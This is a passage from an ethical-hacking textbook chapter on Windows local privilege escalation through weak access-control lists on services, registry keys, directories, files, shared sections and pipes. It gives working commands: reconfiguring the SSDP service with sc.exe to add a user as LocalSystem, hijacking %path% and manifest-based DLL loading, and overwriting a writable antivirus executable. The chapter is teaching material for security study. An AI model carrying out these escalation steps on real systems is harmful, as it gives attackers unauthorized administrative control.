in our preceding list that MSDTC and the SCardSvr services have granted SERVICE_
CHANGE_CONFIG to NETWORK SERVICE and LOCAL SERVICE respectively. To
exploit these, you’d first need to become one of those service accounts through a buffer
overrun or some other vulnerability in a service running in that security context.
TIP At least one more instance of this condition still exists today in fully
patched Windows XP. Microsoft considers these to be service-pack class
issues, so hopefully they will release a fix for it in Windows XP Service Pack 3.
Next up on the list of juicy service targets is SSDPSRV, granting access to all authenticated
users. Let’s see exactly which access is granted.
C:\tools>accesschk.exe -q -v -c "authenticated users" ssdpsrv
RW ssdpsrv
SERVICE_ALL_ACCESS
C:\tools>accesschk.exe -q -v -c "authenticated users" upnphost
RW upnphost
SERVICE_ALL_ACCESS
Both SSDP and upnphost grant all access to any authenticated user!We’ve found our
target service, so let’s move on to the attack.
Privilege Escalation via SERVICE_CHANGE_CONFIG
Granted to Untrusted Users
sc.exe is a command-line tool used to interact with the service control manager (SCM).
If you pass the AccessCheck, it will allow you to stop, create, query, and configure services.
As attackers having identified a service with a weak DACL, our objective is to
reconfigure the SSDPSRV service to run code of our choice. For demo purposes, we’ll
attempt to reconfigure the service to add a new user account to the system. It’s smart to
first capture the original state of the service before hacking it. Always do this first so you
can later reconfigure the service back to its original state.
C:\tools>sc qc ssdpsrv
[SC] GetServiceConfig SUCCESS
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
423
PART IV
SERVICE_NAME: ssdpsrv
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : D:\SAFE_NT\System32\svchost.exe -k LocalService
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : SSDP Discovery Service
DEPENDENCIES :
SERVICE_START_NAME : NT AUTHORITY\LocalService
Next use the sc config command to change the BINARY_PATH_NAME and
SERVICE_START_NAME to our chosen values. If this service were running as
LocalSystem already, we would not need to change the SERVICE_START_NAME.
Because it is running as LocalService, we’ll change it to LocalSystem. Anytime you specify
a new account to run a service, you also need to supply the account’s password. The
LocalSystem account does not have a password because you can’t authenticate as
LocalSystem directly but you still need to specify a (blank) password to sc.exe.
C:\tools>sc config ssdpsrv binPath= "net user grayhat h@X0r11one1 /add"
[SC] ChangeServiceConfig SUCCESS
C:\tools>sc config ssdpsrv obj= ".\LocalSystem" password= ""
[SC] ChangeServiceConfig SUCCESS
Now let’s look at our new service configuration.
C:\tools>sc qc ssdpsrv
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: ssdpsrv
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : net user grayhat h@X0r11one1 /add
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : SSDP Discovery Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\tools>net user
User accounts for \\JNESS_SAFE
-----------------------------------------------------------------------------
Administrator ASPNET Guest
HelpAssistant SUPPORT_388945a0
The command completed successfully.
Finally, stop and start the service to complete the privilege elevation.
C:\tools>net stop ssdpsrv
The SSDP Discovery service was stopped successfully.
C:\tools>net start ssdpsrv
The service is not responding to the control function.
More help is available by typing NET HELPMSG 2186.
C:\tools>net user
User accounts for \\JNESS_SAFE
-----------------------------------------------------------------------------
Administrator ASPNET grayhat
Guest HelpAssistant SUPPORT_388945a0
The command completed successfully.
Notice that the error message from the net start did not prevent the command from
running. The service control manager was expecting an acknowledgement or progress
update from the newly started “service.” When it did not receive one, it returned an error
but the process still ran successfully.
Reference
Network Configuration Operators group http://support.microsoft.com/kb/297938
Attacking Weak DACLs in the Windows Registry
The registry key attack involves keys writable by untrusted or semi-trusted users that are
subsequently used later by highly privileged users. For example, the configuration information
for all those services we just looked at is stored in the registry. Wouldn’t it be
great (for attackers) if the DACL on that registry key were to allow write access for an
untrusted user? Windows XP Service Pack 1 had this problem until it was fixed by
Microsoft. Lots of other software with this type of vulnerability is still out there waiting
to be found. You’ll rarely find cases as clean to exploit as the services cases mentioned
earlier. What happens more often is that the name and location of a support DLL are
specified in the registry and the program does a registry lookup to find it. If you can
point the program instead to your malicious attack DLL, it’s almost as good as being
able to run your own program directly.
Enumerating DACLs of Windows Registry Keys
AccessChk.exe can enumerate registryDACLs.However, the tricky part about registry key
privilege escalation is finding the interesting registry keys to check. The registry is a big
place and you’re looking for a very specific condition. If you were poring through the
registry by hand, it would feel like looking for a needle in a haystack.
However, SysInternals has come to the rescue once again with a nice tool to enumerate
some of the interesting registry locations. It’s called AutoRuns and was originally written
to enumerate all auto-starting programs. Any program that auto-starts is interesting to us
because it will likely be auto-started in the security context of a highly privileged account.
So this section will use the AutoRuns registry locations as the basis for attack. However,
as you’re reading, think about what other registry locations might be interesting.
Gray Hat Hacking: The Ethical Hacker’s Handbook
424
For example, if you’re examining a specific line-of-business application that regularly is
started at a high privilege level (Administrator), look at all the registry keys accessed by
that application.
AutoRuns is a GUI tool but comes with a command-line equivalent (autorunsc.exe)
that we’ll use in our automation.
C:\tools>autorunsc.exe /?
Autoruns v8.61 - Autostart program viewer
Copyright (C) 2002-2007 Mark Russinovich and Bryce Cogswell
Sysinternals - www.sysinternals.com
Autorunsc shows programs configured to autostart during boot.
Usage: autorunsc [-a] | [-c] [-b] [-d] [-e] [-h] [-i] [-l] [-m] [-p] [-r]
[-s] [-v] [-w] [user]
-a Show all entries.
-b Boot execute.
-c Print output as CSV.
-d Appinit DLLs.
-e Explorer addons.
-h Image hijacks.
-i Internet Explorer addons.
-l Logon startups (this is the default).
-m Hide signed Microsoft entries.
-n Winsock protocol and network providers.
-p Printer monitor DLLs.
-r LSA security providers.
-s Autostart services and non-disabled drivers.
-t Scheduled tasks.
-v Verify digital signatures.
-w Winlogon entries.
user Specifies the name of the user account for which
autorun items will be shown.
C:\tools>autorunsc.exe -c -d -e -i -l -p –s -w
Autoruns v8.61 - Autostart program viewer
Copyright (C) 2002-2007 Mark Russinovich and Bryce Cogswell
Sysinternals - www.sysinternals.com
Entry Location,Entry,Enabled,Description,Publisher,Image Path
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
UIHost,logonui.exe,enabled,"Windows Logon UI","Microsoft Corporation","c:\
windows\system32\logonui.exe"
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
Notify,AtiExtEvent,enabled,"","","c:\windows\system32\ati2evxx.dll"
...
AutoRuns will show you interesting registry locations that you can feed into
AccessChk looking for weak DACLs. Using built-in Windows tools for this automation
is a little kludgy and you’ll likely recognize opportunities for efficiency improvement in
the following steps using the tools you normally use.
C:\tools>autorunsc.exe -c -d -e -i -l -p –s -w | findstr HKLM > hklmautoruns.
csv
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
425
PART IV
This command will build an easily parsable file of interesting HKLM registry locations.
This next step will build a batch script to check all the interesting keys in one fell
swoop. AccessChk –k accepts the registry key (regkey) as a parameter and returns the
DACL of that key.
C:\tools>for /F "tokens=1,2 delims=," %x in (hklm-autoruns.csv) do echo
accesschk -w -q -k -s "%x\%y" >> checkreg.bat
C:\tools>echo accesschk -w -q -k -s "HKLM\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Winlogon\UIHost\logonui.exe" 1>>checkreg.bat
C:\tools>echo accesschk -w -q -k -s "HKLM\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Winlogon\Notify\AtiExtEvent" 1>>checkreg.bat
...
Next we’ll run AccessChk and then do a quick survey of potentially interesting
regkeys it found.
C:\tools>checkreg.bat > checkreg.out
C:\tools>findstr /V Admin checkreg.out | findstr /V SYSTEM | findstr RW
RW JNESS2\jness
RW JNESS2\jness
RW BUILTIN\Power Users
RW JNESS2\jness
RW BUILTIN\Power Users
RW BUILTIN\Users
...
JNESS2 is a stock, fully patched Windows XP SP2 machine but there is at least one
regkey to investigate. Let’s take a closer look at what registry access rights are interesting.
“Write” Disposition Permissions of a Windows Registry Key
KEY_SET_VALUE Depending on key, possible elevation of privilege. Allows attacker
to set the registry key to a different value.
KEY_CREATE_SUB_KEY Depending on the registry location, possible elevation of privilege.
Allows attacker to create a subkey set to any arbitrary value.
WRITE_DAC Depending on key, possible elevation of privilege. Allows attackers
to rewrite the DACL, granting KEY_SET_VALUE or KEY_
CREATE_SUB_KEY to themselves. From there, attackers can set
values to facilitate an attack.
WRITE_OWNER Depending on key, possible elevation of privilege. Allows attackers
to become the object owner. Object ownership implies WRITE_
DAC. WRITE_DAC allows attackers to rewrite the DACL,
granting KEY_SET_VALUE or KEY_CREATE_SUB_KEY to
themselves. From there, attackers can set values to facilitate an
attack.
Gray Hat Hacking: The Ethical Hacker’s Handbook
426
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
427
PART IV
GENERIC_WRITE Depending on key, possible elevation of privilege. Grants KEY_
SET_VALUE and KEY_CREATE_SUB_KEY.
GENERIC_ALL Depending on key, possible elevation of privilege. Grants KEY_
SET_VALUE and KEY_CREATE_SUB_KEY.
DELETE Depending on key, possible elevation of privilege. If you can’t edit a
key directly but you can delete it and re-create it, you’re effectively
able to edit it.
Having write access to most registry keys is not a clear elevation of privilege. You’re
looking for a way to change a pointer to a binary on disk that will be run at a higher privilege.
This might be an .exe or .dll path directly, or maybe a clsid pointing to a COM
object or ActiveX control that will later be instantiated by a privileged user. Even something
like a protocol handler or filetype association may have a DACL granting write
access to an untrusted or semi-trusted user. The AutoRuns script will not point out every
possible elevation of privilege opportunity, so try to think of other code referenced in
the registry that will be consumed by a higher-privilege user.
The other class of vulnerability you can find in this area is tampering with registry
data consumed by a vulnerable parser. Software vendors will typically harden the parser
handling network data and file system data by fuzzing and code review, but you might
find the registry parsing security checks not quite as diligent. Attackers will go after vulnerable
parsers by writing data blobs to weakly ACL’d registry keys.
“Read” Disposition Permissions of a Windows Registry Key
KEY_QUERY_VALUE
KEY_ENUMERATE_SUB_KEYS
Depending on key, possible information disclosure. Might allow
attacker to read private data such as installed applications, file
system paths, etc.
GENERIC_READ Depending on key, possible information disclosure. Grants both
KEY_QUERY_VALUE and KEY_ENUMERATE_SUB_KEYS.
The registry does have some sensitive data that should be denied to untrusted users.
There is no clear elevation of privilege threat from read permissions on registry keys, but
the data gained might be useful in a two-stage attack. For example, you might be able to
read a registry key that discloses the path of a loaded DLL. Later, in the file system attacks
section, you might find that revealed location to have a weak DACL.
Attacking Weak Registry Key DACLs for Privilege Escalation
The attack is already described earlier in the enumeration section. To recap, the primary
privilege escalation attacks against registry keys are
• Find a weak DACL on a path to an .exe or .dll on disk.
• Tamper with data in the registry to attack the parser of the data.
• Look for sensitive data such as passwords.
Gray Hat Hacking: The Ethical Hacker’s Handbook
428
Reference
Microsoft Commerce Server stored SQL Server password in registry key http://
secunia.com/advisories/9176
Attacking Weak Directory DACLs
Directory DACL problems are not as common because the file system ACE inheritance
model tries to set proper ACEs when programs are installed to the %programfiles%
directory. However, programs outside that directory or programs applying their own
custom DACL sometimes do get it wrong. Let’s take a look at how to enumerate directory
DACLs, how to find the good directories to go after, what the power permissions
are, and what an attack looks like.
Enumerating Interesting Directories and Their DACLs
By now you already know how to read accesschk.exe DACL output. Use the -d flag for
directory enumeration. The escalation trick is finding directories whose contents are
writable by untrusted or semi-trusted users and then later used by higher-privileged
users. More specifically, look for write permission to a directory containing an .exe that
an admin might run. This is interesting even if you can’t modify the .exe itself. You’ll see
why in the demonstration section later.
The most likely untrusted or semi-trusted SID-granted access right is probably
BUILTIN\Users. You might also want to look at directories granting write disposition to
Everyone, INTERACTIVE, and Anonymous as well. Here’s the command line to recursively
enumerate all directories granting write access to BUILTIN\Users:
C:\tools>accesschk.exe -w -d -q -s users c:\ > weak-dacl-directories.txt
On my test system, this command took about five minutes to run and then returned
lots of writable directories. At first glance, the directories in the list shown next appear to
be worth investigating.
RW c:\cygwin
RW c:\Debuggers
RW c:\Inetpub
RW c:\Perl
RW c:\tools
RW c:\cygwin\bin
RW c:\cygwin\lib
RW c:\Documents and Settings\All Users\Application Data\Apple Computer
RW c:\Documents and Settings\All Users\Application Data\River Past G4
RW c:\Documents and Settings\All Users\Application Data\Skype
RW c:\Perl\bin
RW c:\Perl\lib
RW c:\WINDOWS\system32\spool\PRINTERS
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
429
PART IV
“Write” Disposition Permissions of a Directory
FILE_ADD_FILE Depending on directory, possible elevation of privilege. Allows attacker
to create a file in this directory. The file will be owned by the attacker
and therefore grant the attacker WRITE_DAC, etc.
FILE_ADD_
SUBDIRECTORY
Depending on the directory, possible elevation of privilege. Allows
attacker to create a subdirectory in the directory.
One attack scenario involving directory creation is to pre-create a
directory that you know a higher-privilege entity will need to use at
some time in the future. If you set an inheritable ACE on this directory
granting you full control of any children, subsequent files and directories
by default will have an explicit ACE granting you full control.
FILE_DELETE_CHILD Depending on directory, possible elevation of privilege. Allows attacker
to delete files in the directory. The file could then be replaced with one
of the attacker’s choice.
WRITE_DAC Depending on directory, possible elevation of privilege. Allows attackers
to rewrite the DACL, granting themselves any directory privilege.
WRITE_OWNER Depending on directory, possible elevation of privilege. Allows attacker
to become the object owner. Object ownership implies WRITE_DAC.
WRITE_DAC allows attacker to rewrite the DACL, granting any
directory privilege.
GENERIC_WRITE Depending on directory, possible elevation of privilege. Grants FILE_
ADD_FILE, FILE_ADD_SUBDIRECTORY, and FILE_DELETE_CHILD.
GENERIC_ALL Depending on directory, possible elevation of privilege. Grants FILE_
ADD_FILE, FILE_ADD_SUBDIRECTORY, and FILE_DELETE_CHILD.
DELETE Depending on directory, possible elevation of privilege. If you can delete
and re-create a directory that a higher-privilege entity will need to use
in the future, you can create an inheritable ACE giving you full
permission of the created contents. When the privileged process later
comes along and adds a secret file to the location, you will have access
to it because of the inheritable ACE.
As with the registry, having write access to most directories is not a clear elevation of
privilege. You’re looking for a directory containing an .exe that a higher-privileged user
runs. The following are several attack ideas.
Leverage Windows loader logic tricks to load an attack DLL when
the program is run. Windows has a feature allowing application developers to
override the shared copy of system DLLs for a specific program. For example, imagine
that an older program.exe uses user32.dll but is incompatible with the copy of the
Gray Hat Hacking: The Ethical Hacker’s Handbook
430
user32.dll in %windir%\system32. In this situation, the developer could create a program.
exe.local file that signals Windows to look first in the local directory for DLLs. The
developer could then distribute the compatible user32.dll along with the program. This
worked great on Windows 2000 for hackers as well as developers. A directory DACL
granting FILE_ADD_FILE to an untrusted or semi-trusted user would result in privilege
escalation as the low-privilege hacker placed an attack DLL and a .local file in the application
directory and waited for someone important to run it.
In Windows XP, this feature changed. The most important system binaries
(kernel32.dll, user32.dll, gdi32.dll, etc.) ignored the .local “fusion loading” feature.
More specifically, a list of “Known DLLs” from HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Control\Session Manager\KnownDLLs could not be redirected. And
in practice, this restriction made this feature not very good anymore for attackers.
However, Windows XP also brought us a replacement feature that only works on
Windows XP and Windows Vista. It uses .manifest files to achieve the same result. Manifest
files are similar to .local files in that the filename will be program.exe.manifest but
they are actually XML files with actual XML content in them, not blank files. However,
this feature appears to be more reliable than .local files, so we’ll demonstrate how to use
it in the attack section.
Replace the legitimate .exe with an attack .exe of your own. If attackers
have FILE_DELETE_CHILD privilege on a directory containing an .exe, they could
just move the .exe aside and replace it with one of their own. This is easier than the preceding
if you’re granted the appropriate access right.
If the directory is “magic,” simply add an .exe. There are two types of
“magic directories,” auto-start points and %path% entries. If attackers find FILE_ADD_
FILE permission granted to a Startup folder or similar auto-start point, they can simply
copy their attack .exe into the directory and wait for a machine reboot. Their attack .exe
will automatically be run at a higher privilege level. If attackers find FILE_ADD_FILE
permission granted on a directory included in the %path% environment variable, they
can add their .exe to the directory and give it the same filename as an .exe that appears
later in the path. When an administrator attempts to launch that executable, the attackers’
executable will be run instead. You’ll see an example of this in the directory DACL
attack section.
Reference
Creating a manifest for your application http://msdn2.microsoft.com/en-gb/library/
ms766454.aspx
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
431
PART IV
“Read” Disposition Permissions of a Directory
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
Depending on the directory, possible information disclosure. These
rights grant access to the metadata of the files in the directory.
Filenames could contain sensitive info such as “layoff plan.eml” or
“plan to sell company to google.doc.” An attacker might also find
bits of information like usernames usable in a multistage attack.
GENERIC_READ Depending on the directory, possible information disclosure. This
right grants FILE_LIST_DIRECTORY, FILE_READ_ATTRIBUTES, and
FILE_READ_EA.
Granting untrusted or semi-trusted users read access to directories containing sensitive
filenames could be an information disclosure threat.
Attacking Weak Directory DACLs for Privilege Escalation
Going back to the list of weak directory DACLs on the JNESS2 test system, we see several
interesting entries. In the next section on file DACLs, we’ll explore .exe replacement and
file tampering, but let’s look now at what we can do without touching the files at all.
First, let’s check the systemwide %path% environment variable. Windows uses this as
an order of directories to search for applications. In this case, ActivePerl 5.6 introduced a
security vulnerability.
Path=C:\Perl\bin\;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\system32\WBEM;C:\
Program Files\QuickTime\QTSystem\
C:\Perl\bin at the beginning of the list means that it will always be the first place Windows
looks for a binary, even before the Windows directory! The attacker can simply put
an attack .exe in C:\Perl\bin and wait for an administrator to launch calc.
C:\tools>copy c:\WINDOWS\system32\calc.exe c:\Perl\bin\notepad.exe
1 file(s) copied.
C:\tools>notepad foo.txt
This command actually launched calc.exe!
Let’s next explore the .manifest trick for DLL redirection. In the list of directory targets,
you might have noticed C:\tools grants all users RW access. Untrusted local users
could force one of my testing tools to load their attack.dll when it intended to load
user32.dll. Here’s how that works:
C:\tools>copy c:\temp\attack.dll c:\tools\user32.dll
1 file(s) copied.
Gray Hat Hacking: The Ethical Hacker’s Handbook
432
First, the attackers copy their attack DLL into the directory where the tool will be run.
Remember that these attackers have been granted FILE_ADD_FILE. The attack.dll is
coded to do bad stuff in DllMain and then return execution back to the real DLL. Next
the attackers create a new file in this directory called [program-name].exe.manifest. In
this example, the attacker’s file will be accesschk.exe.manifest.
C:\tools>type accesschk.exe.manifest


version="6.0.0.0"
processorArchitecture="x86"
name="redirector"
type="win32"
/>
DLL Redirection


type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="X86"
publicKeyToken="6595b64144ccf1df"
language="*"
/>


name="user32.dll"
/>

It’s not important to understand exactly how the manifest file works—you can just
learn how to make it work for you. You can read up on manifest files at http://
msdn2.microsoft.com/en-gb/library/ms766454.aspx if you’d like. Finally, let’s simulate
the administrator running AccessChk. The debugger will showwhich DLLs are loaded.
C:\tools>c:\Debuggers\cdb.exe accesschk.exe
Microsoft (R) Windows Debugger Version 6.5.0003.7
Copyright (c) Microsoft Corporation. All rights reserved.
CommandLine: accesschk.exe
Executable search path is:
ModLoad: 00400000 00432000 image00400000
ModLoad: 7c900000 7c9b0000 ntdll.dll
ModLoad: 7c800000 7c8f4000 C:\WINDOWS\system32\kernel32.dll
ModLoad: 7e410000 7e4a0000 C:\tools\USER32.dll
ModLoad: 77f10000 77f57000 C:\WINDOWS\system32\GDI32.dll
ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\COMDLG32.dll
ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e70000 77f01000 C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll
Bingo! Our attack DLL (renamed to user32.dll) was loaded by accesschk.exe.
Attacking Weak File DACLs
File DACL attacks are similar to directory DACL attacks. The focus is finding files
writable by untrusted or semi-trusted users and used by a higher-privileged entity. Some
of the directoryDACL attacks could be classified as fileDACL attacks butwe’ve chosen to
call attacks that add a file “directoryDACL attacks” and attacks that tamper with an existing
file “file DACL attacks.”
Enumerating Interesting Files’ DACLs
We can again use accesschk.exe to enumerate DACLs. There are several interesting
attacks involving tampering with existing files.
Write to executables or executable equivalent files (EXE, DLL, HTA,
BAT, CMD). Cases of vulnerable executables can be found fairly easily by scanning
with a similar AccessChk command as that used for directories.
C:\tools>accesschk.exe -w -q -s users c:\ > weak-dacl-files.txt
When this command finishes, look for files ending in .exe, .dll, .hta, .bat, .cmd, and
other equivalent files. Here are some interesting results potentially vulnerable to
tampering:
RW c:\Program Files\CA\SharedComponents\ScanEngine\arclib.dll
RW c:\Program Files\CA\SharedComponents\ScanEngine\avh32dll.dll
RW c:\Program Files\CA\SharedComponents\ScanEngine\DistCfg.dll
RW c:\Program Files\CA\SharedComponents\ScanEngine\Inocmd32.exe
RW c:\Program Files\CA\SharedComponents\ScanEngine\Inodist.exe
RW c:\Program Files\CA\SharedComponents\ScanEngine\Inodist.ini
RW c:\Program Files\CA\SharedComponents\ScanEngine\InoScan.dll
Let’s look more closely at the DACL, first on the directory.
C:\Program Files\CA\SharedComponents\ScanEngine
RW BUILTIN\Users
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_APPEND_DATA
FILE_EXECUTE
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_DATA
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
FILE_WRITE_DATA
FILE_WRITE_EA
SYNCHRONIZE
READ_CONTROL
We know that FILE_ADD_FILE means we could launch directory attacks here. (FILE_
ADD_FILE granted to Users on a directory inside %ProgramFiles% is bad news.) However,
let’s think specifically about the file tampering and executable replacement attacks.
Notice that FILE_DELETE_CHILD is not present in this directory DACL, so the directory
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
433
PART IV
DACL itself does not grant access to directly delete a file and replace it with an .exe of our
own. Let’s take a look at one of the file DACLs.
C:\Program Files\CA\SharedComponents\ScanEngine\Inocmd32.exe
RW BUILTIN\Users
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_APPEND_DATA
FILE_EXECUTE
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_DATA
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
FILE_WRITE_DATA
FILE_WRITE_EA
SYNCHRONIZE
READ_CONTROL
DELETE is not granted on the file DACL either. So we can’t technically delete the .exe
and replace it with one of our own, but watch this:
C:\Program Files\CA\SharedComponents\ScanEngine>copy Inocmd32.exe inocmd32_
bak.exe
1 file(s) copied.
C:\Program Files\CA\SharedComponents\ScanEngine>echo hi > inocmd32.exe
C:\Program Files\CA\SharedComponents\ScanEngine>copy inocmd32_bak.exe
inocmd32.exe
Overwrite inocmd32.exe? (Yes/No/All): yes
1 file(s) copied.
C:\Program Files\CA\SharedComponents\ScanEngine>del Inocmd32.exe
C:\Program Files\CA\SharedComponents\ScanEngine\Inocmd32.exe
Access is denied.
DELETE access to the file isn’t necessary if we can completely change the contents of
the file!
Tamper with configuration files. Pretend now that the EXEs and DLLs all
used strong DACLs. What else might we attack in this application?
C:\Program Files\CA\SharedComponents\ScanEngine>c:\tools\accesschk.exe -q -v
Users inodist.ini
RW C:\Program Files\CA\SharedComponents\ScanEngine\Inodist.ini
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_APPEND_DATA
FILE_EXECUTE
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_DATA
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
Gray Hat Hacking: The Ethical Hacker’s Handbook
434
FILE_WRITE_DATA
FILE_WRITE_EA
SYNCHRONIZE
READ_CONTROL
Writable configuration files are a fantastic source of privilege elevation. Without
more investigation into how eTrust works, we can’t say for sure, but it’s likely that control
over a scan engine initialization file could lead to privilege elevation. Sometimes
you can even leverage only FILE_APPEND_DATA to add content that is run by the application
on its next start.
TIP Remember that notepad.exe and common editing applications will
attempt to open for Generic Read. If you have been granted FILE_APPEND_
DATA and the AccessCheck function returns “access denied” with the testing
tool you’re using, take a closer look at the passed-in desiredAccess.
Tamper with data files to attack the data parser. The other files that
jumped out to me in this weak DACL list were the following:
RW c:\Program Files\CA\eTrust Antivirus\00000001.QSD
RW c:\Program Files\CA\eTrust Antivirus\00000002.QSD
RW c:\Program Files\CA\eTrust Antivirus\DB\evmaster.dbf
RW c:\Program Files\CA\eTrust Antivirus\DB\evmaster.ntx
RW c:\Program Files\CA\eTrust Antivirus\DB\rtmaster.dbf
RW c:\Program Files\CA\eTrust Antivirus\DB\rtmaster.ntx
We don’t know much about how eTrust works but these look like proprietary signature
files of some type that are almost surely consumed by a parser running at a high
privilege level. Unless the vendor is particularly cautious about security, it’s likely that
their trusted signature or proprietary database files have not been thoroughly tested
with a good file fuzzer. If we were able to use Process Monitor or FileMon to find a
repeatable situation where these files are consumed, chances are good that we could
find vulnerabilities with a common file fuzzer. Always be on the lookout for writable
data files that look to be a proprietary file format and are consumed by a parser running
with elevated privileges.
“Write” Disposition Permissions of a File
FILE_WRITE_DATA Depending on file, possible elevation of privilege. Allows an attacker
to overwrite file contents.
FILE_APPEND_DATA Depending on file, possible elevation of privilege. Allows an attacker
to append arbitrary content to the end of a file.
WRITE_DAC Depending on file, possible elevation of privilege. Allows attackers to
rewrite the DACL, granting themselves any file privilege.
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
435
PART IV
WRITE_OWNER Depending on file, possible elevation of privilege. Allows attacker to
become the object owner. Object ownership implies WRITE_DAC.
WRITE_DAC allows attacker to rewrite the DACL, granting any file
privilege.
GENERIC_WRITE Depending on file, possible elevation of privilege. Grants FILE_
WRITE_DATA.
GENERIC_ALL Depending on file, possible elevation of privilege. Grants FILE_
WRITE_DATA.
DELETE Depending on file, possible elevation of privilege. Allows attackers to
delete and potentially replace the file with one of their choosing.
“Read” Disposition Permissions of a File
FILE_READ_DATA Depending on the file, possible information disclosure. Allows
attacker to view contents of the file.
FILE_READ_ATTRIBUTES
FILE_READ_EA
Depending on the directory, possible information disclosure.
These rights grant access to the metadata of the file. Filenames
could contain sensitive info such as “layoff plan.eml” or “plan to
sell company to google.doc.” An attacker might also find bits of
information like usernames usable in a multistage attack.
GENERIC_READ Depending on the file, possible information disclosure. This right
grants FILE_READ_DATA, FILE_READ_ATTRIBUTES, and FILE_
READ_EA.
There are lots of scenarios where read access should not be granted to unprivileged
attackers. It might allow them to read (for example):
• User’s private data (user’s browser history, favorites, mail)
• Config files (might leak paths, configurations, passwords)
• Log data (might leak other users and their behaviors)
eTrust appears to store data in a logfile readable by all users. Even if attackers could
not write to these files, they might want to know which attacks were detected by eTrust
so they could hide their tracks.
Attacking Weak File DACLs for Privilege Escalation
An attack was already demonstrated earlier in the enumeration section. To recap, the
primary privilege escalation attacks against files are
• Write to executables or executable equivalent files (EXE, DLL, HTA, BAT, CMD).
• Tamper with configuration files.
• Tamper with data files to attack the data parser.
Gray Hat Hacking: The Ethical Hacker’s Handbook
436
What Other Object Types Are out There?
Services, registry keys, files, and directories are the big four object types that will expose
code execution vulnerabilities. However, several more object types might be poorly
ACL’d. Nothing is going to be as easy and shellcode-free as the objects listed already in
this chapter. The remaining object types will expose code execution vulnerabilities but
you’ll probably need to write “real” exploits to leverage those vulnerabilities. Having
said that, let’s briefly talk through how to enumerate each one.
Enumerating Shared Memory Sections
Shared memory sections are blocks of memory set aside to be shared between two applications.
This is an especially handy way to share data between a kernel mode and user
mode process. Programmers have historically considered this trusted, private data but a
closer look at these objectDACLs shows that untrusted or semi-trusted users can write to
them.
AccessChk could dump all objects in the object manager namespace but could not
yet filter by type at the time of this writing. So here’s the easiest way to find all the shared
memory sections:
accesschk.exe -osv > allobjects.txt
Inside the output file, you can inspect each shared section by searching for “Type:
Section”. Here’s an example:
\BaseNamedObjects\WDMAUD_Callbacks
Type: Section
RW NT AUTHORITY\SYSTEM
SECTION_ALL_ACCESS
RW Everyone
SECTION_MAP_WRITE
SECTION_MAP_READ
It’s almost never a good idea to grant write access to the Everyone group but it would
take focused investigation time to determine if this shared section could hold up under
malicious input from an untrusted user. An attacker might also want to check what type
of data is available to be read in this memory section.
If you see a shared section having a NULL DACL, that is almost surely a security vulnerability.
For example, I just stumbled across this one on my laptop while doing
research for this chapter:
\BaseNamedObjects\INOQSIQSYSINFO
Type: Section
RW Everyone
SECTION_ALL_ACCESS
The first search engine link for information about INOQSIQSYSINFO was a recent
security advisory about how to supply malicious content to this memory section to
cause a stack overflow in the eTrust antivirus engine. If there were no elevation of privilege
threat already, remember that SECTION_ALL_ACCESS includes WRITE_DAC,
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
437
PART IV
which would allow anyone in the Everyone group to change the DACL, locking out
everyone else. This would likely cause a denial of service in the AV product.
Reference
INOQSIQSYSINFO exploit www.milw0rm.com/exploits/3897
Enumerating Named Pipes
Named pipes are similar to shared sections in that developers incorrectly used to think
named pipes accepted only trusted, well-formed data. The elevation of privilege threat
with weakly ACL’d named pipes again is to write to the pipe to cause parsing or logic
flaws that result in elevation of privilege. Attackers also might find information disclosed
from the pipe that they wouldn’t otherwise be able to access.
AccessChk does not appear to support named pipes natively, but SysInternals did create
a tool specifically to enumerate named pipes. Here’s the output from PipeList.exe:
PipeList v1.01
by Mark Russinovich
http://www.sysinternals.com
Pipe Name Instances Max Instances
--------- --------- -------------
TerminalServer\AutoReconnect 1 1
InitShutdown 2 -1
lsass 3 -1
protected_storage 2 -1
SfcApi 2 -1
ntsvcs 6 -1
scerpc 2 -1
net\NtControlPipe1 1 1
net\NtControlPipe2 1 1
net\NtControlPipe3 1 1
PipeList does not display the DACL of the pipe but BindView (recently acquired by
Symantec) has built a free tool called pipeacl.exe. It offers two run options—commandline
dumping the raw ACEs, or a GUI with a similar permissions display as the Windows
Explorer users. Here’s the command-line option:
